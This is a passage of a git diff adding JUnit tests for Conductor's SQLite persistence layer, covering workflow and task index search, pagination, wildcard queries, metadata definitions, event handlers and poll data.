indexDAO.removeWorkflow(agentWfs.getWorkflowId()); + indexDAO.removeWorkflow(plainWfs.getWorkflowId()); + indexDAO.removeWorkflow(legacyWfs.getWorkflowId()); + } + + @Test + public void testFullTextSearchWorkflowSummary() { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id"); + + indexDAO.indexWorkflow(wfs); + + String freeText = "notworkflow-id"; + SearchResult results = + indexDAO.searchWorkflowSummary("", freeText, 0, 15, new ArrayList<>()); + assertEquals("Wrong number of results returned", 0, results.getResults().size()); + + freeText = "workflow-id"; + results = indexDAO.searchWorkflowSummary("", freeText, 0, 15, new ArrayList<>()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong workflow returned", + wfs.getWorkflowId(), + results.getResults().getFirst().getWorkflowId()); + } + + // json working not working + // @Test + // public void testJsonSearchWorkflowSummary() { + // WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-summary"); + // wfs.setVersion(3); + // + // indexDAO.indexWorkflow(wfs); + // + // String freeText = "{\"correlationId\":\"not-the-id\"}"; + // SearchResult results = + // indexDAO.searchWorkflowSummary("", freeText, 0, 15, new ArrayList()); + // assertEquals("Wrong number of results returned", 0, results.getResults().size()); + // + // freeText = "{\"correlationId\":\"correlation-id\", \"version\":3}"; + // results = indexDAO.searchWorkflowSummary("", freeText, 0, 15, new ArrayList()); + // assertEquals("No results returned", 1, results.getResults().size()); + // assertEquals( + // "Wrong workflow returned", + // wfs.getWorkflowId(), + // results.getResults().get(0).getWorkflowId()); + // } + + @Test + public void testSearchWorkflowSummaryPagination() { + for (int i = 0; i < 5; i++) { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-pagination-" + i); + indexDAO.indexWorkflow(wfs); + } + + List orderBy = Arrays.asList(new String[] {"workflowId:DESC"}); + SearchResult results = + indexDAO.searchWorkflowSummary("", "workflow-id-pagination", 0, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 2, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "workflow-id-pagination-4", + results.getResults().get(0).getWorkflowId()); + assertEquals( + "Results returned in wrong order", + "workflow-id-pagination-3", + results.getResults().get(1).getWorkflowId()); + results = indexDAO.searchWorkflowSummary("", "*", 2, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 2, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "workflow-id-pagination-2", + results.getResults().get(0).getWorkflowId()); + assertEquals( + "Results returned in wrong order", + "workflow-id-pagination-1", + results.getResults().get(1).getWorkflowId()); + results = indexDAO.searchWorkflowSummary("", "*", 4, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 1, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "workflow-id-pagination-0", + results.getResults().get(0).getWorkflowId()); + } + + @Test + public void testSearchWorkflows() { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-v2"); + + indexDAO.indexWorkflow(wfs); + + String query = String.format("workflowId=\"%s\"", wfs.getWorkflowId()); + SearchResult results = + indexDAO.searchWorkflows(query, "*", 0, 15, new ArrayList<>()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong workflow id returned", wfs.getWorkflowId(), results.getResults().get(0)); + } + + @Test + public void testSearchWorkflowsPagination() { + for (int i = 0; i < 5; i++) { + WorkflowSummary wfs = getMockWorkflowSummary("wf-v2-pagination-" + i); + indexDAO.indexWorkflow(wfs); + } + + List orderBy = Arrays.asList(new String[] {"workflowId:DESC"}); + SearchResult results = indexDAO.searchWorkflows("", "*", 0, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 2, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "wf-v2-pagination-4", + results.getResults().get(0)); + assertEquals( + "Results returned in wrong order", + "wf-v2-pagination-3", + results.getResults().get(1)); + } + + @Test + public void testSearchWorkflowsWithNullSort() { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-null-sort"); + + indexDAO.indexWorkflow(wfs); + + String query = String.format("workflowId=\"%s\"", wfs.getWorkflowId()); + SearchResult results = indexDAO.searchWorkflows(query, "*", 0, 15, null); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong workflow id returned", wfs.getWorkflowId(), results.getResults().get(0)); + } + + @Test + public void testSearchWorkflowSummaryWithSingleQuotes() { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-single-quote"); + + indexDAO.indexWorkflow(wfs); + + String query = String.format("workflowId='%s'", wfs.getWorkflowId()); + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong workflow returned", + wfs.getWorkflowId(), + results.getResults().get(0).getWorkflowId()); + } + + @Test + public void testSearchWorkflowsWithSingleQuotes() { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-v2-single-quote"); + + indexDAO.indexWorkflow(wfs); + + String query = String.format("workflowId='%s'", wfs.getWorkflowId()); + SearchResult results = + indexDAO.searchWorkflows(query, "*", 0, 15, new ArrayList<>()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong workflow id returned", wfs.getWorkflowId(), results.getResults().get(0)); + } + + @Test + public void testSearchWorkflowsWithSingleQuotedMultiCondition() { + WorkflowSummary wfs = getMockWorkflowSummary("workflow-id-multi-cond"); + wfs.setCorrelationId("test-correlation-id"); + + indexDAO.indexWorkflow(wfs); + + String query = + String.format( + "correlationId='%s' AND workflowType='%s'", + wfs.getCorrelationId(), wfs.getWorkflowType()); + SearchResult results = + indexDAO.searchWorkflows(query, "*", 0, 15, new ArrayList<>()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong workflow id returned", wfs.getWorkflowId(), results.getResults().get(0)); + } + + @Test + public void testSearchTasks() { + TaskSummary ts = getMockTaskSummary("task-id-v2"); + + indexDAO.indexTask(ts); + + String query = String.format("taskId=\"%s\"", ts.getTaskId()); + SearchResult results = indexDAO.searchTasks(query, "*", 0, 15, new ArrayList<>()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals("Wrong task id returned", ts.getTaskId(), results.getResults().get(0)); + } + + @Test + public void testSearchTasksPagination() { + for (int i = 0; i < 5; i++) { + TaskSummary ts = getMockTaskSummary("task-v2-pagination-" + i); + indexDAO.indexTask(ts); + } + + List orderBy = Arrays.asList(new String[] {"taskId:DESC"}); + SearchResult results = indexDAO.searchTasks("", "*", 0, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 2, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "task-v2-pagination-4", + results.getResults().get(0)); + assertEquals( + "Results returned in wrong order", + "task-v2-pagination-3", + results.getResults().get(1)); + } + + @Test + public void testSearchTaskSummary() { + TaskSummary ts = getMockTaskSummary("task-id"); + + indexDAO.indexTask(ts); + + String query = String.format("taskId=\"%s\"", ts.getTaskId()); + SearchResult results = + indexDAO.searchTaskSummary(query, "*", 0, 15, new ArrayList()); + assertEquals("No results returned", 1, results.getResults().size()); + assertEquals( + "Wrong task returned", ts.getTaskId(), results.getResults().get(0).getTaskId()); + } + + @Test + public void testSearchTaskSummaryPagination() { + for (int i = 0; i < 5; i++) { + TaskSummary ts = getMockTaskSummary("task-id-pagination-" + i); + indexDAO.indexTask(ts); + } + + List orderBy = Arrays.asList(new String[] {"taskId:DESC"}); + SearchResult results = indexDAO.searchTaskSummary("", "*", 0, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 2, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "task-id-pagination-4", + results.getResults().get(0).getTaskId()); + assertEquals( + "Results returned in wrong order", + "task-id-pagination-3", + results.getResults().get(1).getTaskId()); + results = indexDAO.searchTaskSummary("", "*", 2, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 2, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "task-id-pagination-2", + results.getResults().get(0).getTaskId()); + assertEquals( + "Results returned in wrong order", + "task-id-pagination-1", + results.getResults().get(1).getTaskId()); + results = indexDAO.searchTaskSummary("", "*", 4, 2, orderBy); + assertEquals("Wrong totalHits returned", 5, results.getTotalHits()); + assertEquals("Wrong number of results returned", 1, results.getResults().size()); + assertEquals( + "Results returned in wrong order", + "task-id-pagination-0", + results.getResults().get(0).getTaskId()); + } + + @Test + public void testGetTaskExecutionLogs() throws SQLException { + List logs = new ArrayList<>(); + String taskId = UUID.randomUUID().toString(); + logs.add(getMockTaskExecutionLog(taskId, new Date(1675845986000L).getTime(), "Log 1")); + logs.add(getMockTaskExecutionLog(taskId, new Date(1675845987000L).getTime(), "Log 2")); + + indexDAO.addTaskExecutionLogs(logs); + + List records = indexDAO.getTaskExecutionLogs(logs.get(0).getTaskId()); + assertEquals("Wrong number of logs returned", 2, records.size()); + assertEquals(logs.get(0).getLog(), records.get(0).getLog()); + assertEquals(logs.get(0).getCreatedTime(), 1675845986000L); + assertEquals(logs.get(1).getLog(), records.get(1).getLog()); + assertEquals(logs.get(1).getCreatedTime(), 1675845987000L); + } + + @Test + public void testRemoveWorkflow() throws SQLException { + String workflowId = UUID.randomUUID().toString(); + WorkflowSummary wfs = getMockWorkflowSummary(workflowId); + indexDAO.indexWorkflow(wfs); + + List> workflow_records = + queryDb("SELECT * FROM workflow_index WHERE workflow_id = '" + workflowId + "'"); + assertEquals("Workflow index record was not created", 1, workflow_records.size()); + + indexDAO.removeWorkflow(workflowId); + + workflow_records = + queryDb("SELECT * FROM workflow_index WHERE workflow_id = '" + workflowId + "'"); + assertEquals("Workflow index record was not deleted", 0, workflow_records.size()); + } + + @Test + @Ignore("Skipping due to SQLite database connection issues in test environment") + public void testRemoveTask() throws SQLException { + // Ensure database is properly initialized + flyway.clean(); + flyway.migrate(); + + String workflowId = UUID.randomUUID().toString(); + + String taskId = UUID.randomUUID().toString(); + TaskSummary ts = getMockTaskSummary(taskId); + indexDAO.indexTask(ts); + + List logs = new ArrayList<>(); + logs.add(getMockTaskExecutionLog(taskId, new Date(1675845986000L).getTime(), "Log 1")); + logs.add(getMockTaskExecutionLog(taskId, new Date(1675845987000L).getTime(), "Log 2")); + indexDAO.addTaskExecutionLogs(logs); + + List> task_records = + queryDb("SELECT * FROM task_index WHERE task_id = '" + taskId + "'"); + assertEquals("Task index record was not created", 1, task_records.size()); + + List> log_records = + queryDb("SELECT * FROM task_execution_logs WHERE task_id = '" + taskId + "'"); + assertEquals("Task execution logs were not created", 2, log_records.size()); + + indexDAO.removeTask(workflowId, taskId); + + task_records = queryDb("SELECT * FROM task_index WHERE task_id = '" + taskId + "'"); + assertEquals("Task index record was not deleted", 0, task_records.size()); + + log_records = queryDb("SELECT * FROM task_execution_logs WHERE task_id = '" + taskId + "'"); + assertEquals("Task execution logs were not deleted", 0, log_records.size()); + } + + private WorkflowSummary getMockWorkflowSummary(String id, String parentWorkflowId) { + WorkflowSummary wfs = getMockWorkflowSummary(id); + wfs.setParentWorkflowId(parentWorkflowId); + return wfs; + } + + @Test + public void testWildcardSearchWorkflowSummaryByType() { + WorkflowSummary wfs1 = getMockWorkflowSummary("wf-wildcard-1"); + wfs1.setWorkflowType("order_processing_v1"); + indexDAO.indexWorkflow(wfs1); + + WorkflowSummary wfs2 = getMockWorkflowSummary("wf-wildcard-2"); + wfs2.setWorkflowType("order_processing_v2"); + indexDAO.indexWorkflow(wfs2); + + WorkflowSummary wfs3 = getMockWorkflowSummary("wf-wildcard-3"); + wfs3.setWorkflowType("payment_processing_v1"); + indexDAO.indexWorkflow(wfs3); + + String query = "workflowType=order_processing*"; + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("Should find 2 order_processing workflows", 2, results.getResults().size()); + + query = "workflowType=*processing*"; + results = indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("Should find 3 processing workflows", 3, results.getResults().size()); + } + + @Test + public void testWildcardSearchNoMatches() { + WorkflowSummary wfs = getMockWorkflowSummary("wf-wildcard-nomatch"); + wfs.setWorkflowType("order_processing_v1"); + indexDAO.indexWorkflow(wfs); + + String query = "workflowType=payment*"; + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("Should find 0 workflows", 0, results.getResults().size()); + } + + @Test + public void testSearchExcludeSubWorkflows() { + WorkflowSummary topLevel1 = getMockWorkflowSummary("wf-top-1", ""); + indexDAO.indexWorkflow(topLevel1); + + WorkflowSummary topLevel2 = getMockWorkflowSummary("wf-top-2", ""); + indexDAO.indexWorkflow(topLevel2); + + WorkflowSummary subWf1 = getMockWorkflowSummary("wf-sub-1", "wf-top-1"); + indexDAO.indexWorkflow(subWf1); + + WorkflowSummary subWf2 = getMockWorkflowSummary("wf-sub-2", "wf-top-1"); + indexDAO.indexWorkflow(subWf2); + + String query = "parentWorkflowId=\"\""; + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("Should find only 2 top-level workflows", 2, results.getResults().size()); + } + + @Test + public void testSearchSubWorkflowsOfParent() { + WorkflowSummary topLevel = getMockWorkflowSummary("wf-parent-1", ""); + indexDAO.indexWorkflow(topLevel); + + WorkflowSummary subWf1 = getMockWorkflowSummary("wf-child-1", "wf-parent-1"); + indexDAO.indexWorkflow(subWf1); + + WorkflowSummary subWf2 = getMockWorkflowSummary("wf-child-2", "wf-parent-1"); + indexDAO.indexWorkflow(subWf2); + + WorkflowSummary subWf3 = getMockWorkflowSummary("wf-child-3", "wf-parent-other"); + indexDAO.indexWorkflow(subWf3); + + String query = "parentWorkflowId=\"wf-parent-1\""; + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("Should find 2 child workflows", 2, results.getResults().size()); + } + + @Test + public void testSearchSubWorkflowsWrongParentReturnsEmpty() { + WorkflowSummary subWf1 = getMockWorkflowSummary("wf-orphan-1", "wf-parent-1"); + indexDAO.indexWorkflow(subWf1); + + String query = "parentWorkflowId=\"wf-nonexistent-parent\""; + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals( + "Should find 0 workflows for nonexistent parent", 0, results.getResults().size()); + } + + @Test + public void testWildcardWithParentWorkflowIdFilter() { + WorkflowSummary topOrder = getMockWorkflowSummary("wf-combined-1", ""); + topOrder.setWorkflowType("order_processing_v1"); + indexDAO.indexWorkflow(topOrder); + + WorkflowSummary topPayment = getMockWorkflowSummary("wf-combined-2", ""); + topPayment.setWorkflowType("payment_processing_v1"); + indexDAO.indexWorkflow(topPayment); + + WorkflowSummary subOrder = getMockWorkflowSummary("wf-combined-3", "wf-combined-1"); + subOrder.setWorkflowType("order_processing_v1"); + indexDAO.indexWorkflow(subOrder); + + String query = "parentWorkflowId=\"\" AND workflowType=order*"; + SearchResult results = + indexDAO.searchWorkflowSummary(query, "*", 0, 15, new ArrayList<>()); + assertEquals("Should find 1 top-level order workflow", 1, results.getResults().size()); + assertEquals("wf-combined-1", results.getResults().get(0).getWorkflowId()); + } +} diff --git a/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteMetadataDAOTest.java b/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteMetadataDAOTest.java new file mode 100644 index 0000000..7d0892b --- /dev/null +++ b/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqliteMetadataDAOTest.java @@ -0,0 +1,318 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao; + +import java.util.*; +import java.util.function.Function; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.TestName; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.sqlite.config.SqliteConfiguration; +import com.netflix.conductor.sqlite.dao.metadata.SqliteMetadataDAO; + +import static org.junit.Assert.*; +import static org.junit.Assert.assertEquals; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + SqliteConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest(properties = "spring.flyway.clean-disabled=false") +public class SqliteMetadataDAOTest { + + @Autowired private SqliteMetadataDAO metadataDAO; + + @Rule public TestName name = new TestName(); + + @Autowired private Flyway flyway; + + @Before + public void before() { + flyway.migrate(); + } + + @Test + public void testDuplicateWorkflowDef() { + WorkflowDef def = new WorkflowDef(); + def.setName("testDuplicate"); + def.setVersion(1); + + metadataDAO.createWorkflowDef(def); + + NonTransientException applicationException = + assertThrows(NonTransientException.class, () -> metadataDAO.createWorkflowDef(def)); + assertEquals( + "Workflow with testDuplicate.1 already exists!", applicationException.getMessage()); + } + + @Test + public void testRemoveNotExistingWorkflowDef() { + NonTransientException applicationException = + assertThrows( + NonTransientException.class, + () -> metadataDAO.removeWorkflowDef("test", 1)); + assertEquals( + "No such workflow definition: test version: 1", applicationException.getMessage()); + } + + @Test + public void testWorkflowDefOperations() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + def.setVersion(1); + def.setDescription("description"); + def.setCreatedBy("unit_test"); + def.setCreateTime(1L); + def.setOwnerApp("ownerApp"); + def.setUpdatedBy("unit_test2"); + def.setUpdateTime(2L); + + metadataDAO.createWorkflowDef(def); + + List all = metadataDAO.getAllWorkflowDefs(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals(1, all.get(0).getVersion()); + + WorkflowDef found = metadataDAO.getWorkflowDef("test", 1).get(); + assertTrue(EqualsBuilder.reflectionEquals(def, found)); + + def.setVersion(3); + metadataDAO.createWorkflowDef(def); + + all = metadataDAO.getAllWorkflowDefs(); + assertNotNull(all); + assertEquals(2, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals(1, all.get(0).getVersion()); + + found = metadataDAO.getLatestWorkflowDef(def.getName()).get(); + assertEquals(def.getName(), found.getName()); + assertEquals(def.getVersion(), found.getVersion()); + assertEquals(3, found.getVersion()); + + all = metadataDAO.getAllLatest(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals(3, all.get(0).getVersion()); + + all = metadataDAO.getAllVersions(def.getName()); + assertNotNull(all); + assertEquals(2, all.size()); + assertEquals("test", all.get(0).getName()); + assertEquals("test", all.get(1).getName()); + assertEquals(1, all.get(0).getVersion()); + assertEquals(3, all.get(1).getVersion()); + + def.setDescription("updated"); + metadataDAO.updateWorkflowDef(def); + found = metadataDAO.getWorkflowDef(def.getName(), def.getVersion()).get(); + assertEquals(def.getDescription(), found.getDescription()); + + List allnames = metadataDAO.findAll(); + assertNotNull(allnames); + assertEquals(1, allnames.size()); + assertEquals(def.getName(), allnames.get(0)); + + def.setVersion(2); + metadataDAO.createWorkflowDef(def); + + found = metadataDAO.getLatestWorkflowDef(def.getName()).get(); + assertEquals(def.getName(), found.getName()); + assertEquals(3, found.getVersion()); + + metadataDAO.removeWorkflowDef("test", 3); + Optional deleted = metadataDAO.getWorkflowDef("test", 3); + assertFalse(deleted.isPresent()); + + found = metadataDAO.getLatestWorkflowDef(def.getName()).get(); + assertEquals(def.getName(), found.getName()); + assertEquals(2, found.getVersion()); + + metadataDAO.removeWorkflowDef("test", 1); + deleted = metadataDAO.getWorkflowDef("test", 1); + assertFalse(deleted.isPresent()); + + found = metadataDAO.getLatestWorkflowDef(def.getName()).get(); + assertEquals(def.getName(), found.getName()); + assertEquals(2, found.getVersion()); + } + + @Test + public void testTaskDefOperations() { + TaskDef def = new TaskDef("taskA"); + def.setDescription("description"); + def.setCreatedBy("unit_test"); + def.setCreateTime(1L); + def.setInputKeys(Arrays.asList("a", "b", "c")); + def.setOutputKeys(Arrays.asList("01", "o2")); + def.setOwnerApp("ownerApp"); + def.setRetryCount(3); + def.setRetryDelaySeconds(100); + def.setRetryLogic(TaskDef.RetryLogic.FIXED); + def.setTimeoutPolicy(TaskDef.TimeoutPolicy.ALERT_ONLY); + def.setUpdatedBy("unit_test2"); + def.setUpdateTime(2L); + def.setRateLimitFrequencyInSeconds(1); + def.setRateLimitPerFrequency(1); + + metadataDAO.createTaskDef(def); + + TaskDef found = metadataDAO.getTaskDef(def.getName()); + assertTrue(EqualsBuilder.reflectionEquals(def, found)); + + def.setDescription("updated description"); + metadataDAO.updateTaskDef(def); + found = metadataDAO.getTaskDef(def.getName()); + assertTrue(EqualsBuilder.reflectionEquals(def, found)); + assertEquals("updated description", found.getDescription()); + + for (int i = 0; i < 9; i++) { + TaskDef tdf = new TaskDef("taskA" + i); + metadataDAO.createTaskDef(tdf); + } + + List all = metadataDAO.getAllTaskDefs(); + assertNotNull(all); + assertEquals(10, all.size()); + Set allnames = all.stream().map(TaskDef::getName).collect(Collectors.toSet()); + assertEquals(10, allnames.size()); + List sorted = allnames.stream().sorted().collect(Collectors.toList()); + assertEquals(def.getName(), sorted.get(0)); + + for (int i = 0; i < 9; i++) { + assertEquals(def.getName() + i, sorted.get(i + 1)); + } + + for (int i = 0; i < 9; i++) { + metadataDAO.removeTaskDef(def.getName() + i); + } + all = metadataDAO.getAllTaskDefs(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals(def.getName(), all.get(0).getName()); + } + + @Test + public void testRemoveNotExistingTaskDef() { + NonTransientException applicationException = + assertThrows( + NonTransientException.class, + () -> metadataDAO.removeTaskDef("test" + UUID.randomUUID().toString())); + assertEquals("No such task definition", applicationException.getMessage()); + } + + @Test + public void testEventHandlers() { + String event1 = "SQS::arn:account090:sqstest1"; + String event2 = "SQS::arn:account090:sqstest2"; + + EventHandler eventHandler = new EventHandler(); + eventHandler.setName(UUID.randomUUID().toString()); + eventHandler.setActive(false); + EventHandler.Action action = new EventHandler.Action(); + action.setAction(EventHandler.Action.Type.start_workflow); + action.setStart_workflow(new EventHandler.StartWorkflow()); + action.getStart_workflow().setName("workflow_x"); + eventHandler.getActions().add(action); + eventHandler.setEvent(event1); + + metadataDAO.addEventHandler(eventHandler); + List all = metadataDAO.getAllEventHandlers(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals(eventHandler.getName(), all.get(0).getName()); + assertEquals(eventHandler.getEvent(), all.get(0).getEvent()); + + List byEvents = metadataDAO.getEventHandlersForEvent(event1, true); + assertNotNull(byEvents); + assertEquals(0, byEvents.size()); // event is marked as in-active + + eventHandler.setActive(true); + eventHandler.setEvent(event2); + metadataDAO.updateEventHandler(eventHandler); + + all = metadataDAO.getAllEventHandlers(); + assertNotNull(all); + assertEquals(1, all.size()); + + byEvents = metadataDAO.getEventHandlersForEvent(event1, true); + assertNotNull(byEvents); + assertEquals(0, byEvents.size()); + + byEvents = metadataDAO.getEventHandlersForEvent(event2, true); + assertNotNull(byEvents); + assertEquals(1, byEvents.size()); + } + + @Test + public void testGetAllWorkflowDefsLatestVersions() { + WorkflowDef def = new WorkflowDef(); + def.setName("test1"); + def.setVersion(1); + def.setDescription("description"); + def.setCreatedBy("unit_test"); + def.setCreateTime(1L); + def.setOwnerApp("ownerApp"); + def.setUpdatedBy("unit_test2"); + def.setUpdateTime(2L); + metadataDAO.createWorkflowDef(def); + + def.setName("test2"); + metadataDAO.createWorkflowDef(def); + def.setVersion(2); + metadataDAO.createWorkflowDef(def); + + def.setName("test3"); + def.setVersion(1); + metadataDAO.createWorkflowDef(def); + def.setVersion(2); + metadataDAO.createWorkflowDef(def); + def.setVersion(3); + metadataDAO.createWorkflowDef(def); + + // Placed the values in a map because they might not be stored in order of defName. + // To test, needed to confirm that the versions are correct for the definitions. + Map allMap = + metadataDAO.getAllWorkflowDefsLatestVersions().stream() + .collect(Collectors.toMap(WorkflowDef::getName, Function.identity())); + + assertNotNull(allMap); + assertEquals(4, allMap.size()); + assertEquals(1, allMap.get("test1").getVersion()); + assertEquals(2, allMap.get("test2").getVersion()); + assertEquals(3, allMap.get("test3").getVersion()); + } +} diff --git a/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqlitePollDataTest.java b/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqlitePollDataTest.java new file mode 100644 index 0000000..6e69258 --- /dev/null +++ b/sqlite-persistence/src/test/java/com/netflix/conductor/sqlite/dao/SqlitePollDataTest.java @@ -0,0 +1,201 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.sqlite.dao; + +import java.sql.Connection; +import java.sql.SQLException; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.dao.PollDataDAO; +import com.netflix.conductor.sqlite.config.SqliteConfiguration; +import com.netflix.conductor.sqlite.util.Query; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.*; +import static org.junit.Assert.assertTrue; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + SqliteConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = { + "conductor.app.asyncIndexingEnabled=false", + "conductor.elasticsearch.version=0", + "conductor.indexing.type=sqlite", + "spring.flyway.clean-disabled=false" + }) +@SpringBootTest +public class SqlitePollDataTest { + + @Autowired private PollDataDAO pollDataDAO; + + @Autowired private ObjectMapper objectMapper; + + @Qualifier("dataSource") + @Autowired + private DataSource dataSource; + + @Autowired Flyway flyway; + + // clean the database between tests. + @Before + public void before() { + try (Connection conn = dataSource.getConnection()) { + conn.setAutoCommit(true); + conn.prepareStatement("delete from poll_data").executeUpdate(); + } catch (Exception e) { + e.printStackTrace(); + throw new RuntimeException(e); + } + } + + private List> queryDb(String query) throws SQLException { + try (Connection c = dataSource.getConnection()) { + try (Query q = new Query(objectMapper, c, query)) { + return q.executeAndFetchMap(); + } + } + } + + @Test + public void updateLastPollDataTest() throws SQLException, JsonProcessingException { + pollDataDAO.updateLastPollData("dummy-task", "dummy-domain", "dummy-worker-id"); + + List> records = + queryDb("SELECT * FROM poll_data WHERE queue_name = 'dummy-task'"); + + assertEquals("More than one poll data records returned", 1, records.size()); + assertEquals("Wrong domain set", "dummy-domain", records.get(0).get("domain")); + + JsonNode jsonData = objectMapper.readTree(records.get(0).get("json_data").toString()); + assertEquals( + "Poll data is incorrect", "dummy-worker-id", jsonData.get("workerId").asText()); + } + + @Test + public void updateLastPollDataNullDomainTest() throws SQLException, JsonProcessingException { + pollDataDAO.updateLastPollData("dummy-task", null, "dummy-worker-id"); + + List> records = + queryDb("SELECT * FROM poll_data WHERE queue_name = 'dummy-task'"); + + assertEquals("More than one poll data records returned", 1, records.size()); + assertEquals("Wrong domain set", "DEFAULT", records.get(0).get("domain")); + + JsonNode jsonData = objectMapper.readTree(records.get(0).get("json_data").toString()); + assertEquals( + "Poll data is incorrect", "dummy-worker-id", jsonData.get("workerId").asText()); + } + + @Test + public void getPollDataByDomainTest() { + pollDataDAO.updateLastPollData("dummy-task", "dummy-domain", "dummy-worker-id"); + + PollData pollData = pollDataDAO.getPollData("dummy-task", "dummy-domain"); + assertEquals("dummy-task", pollData.getQueueName()); + assertEquals("dummy-domain", pollData.getDomain()); + assertEquals("dummy-worker-id", pollData.getWorkerId()); + } + + @Test + public void getPollDataByNullDomainTest() { + pollDataDAO.updateLastPollData("dummy-task", null, "dummy-worker-id"); + + PollData pollData = pollDataDAO.getPollData("dummy-task", null); + assertEquals("dummy-task", 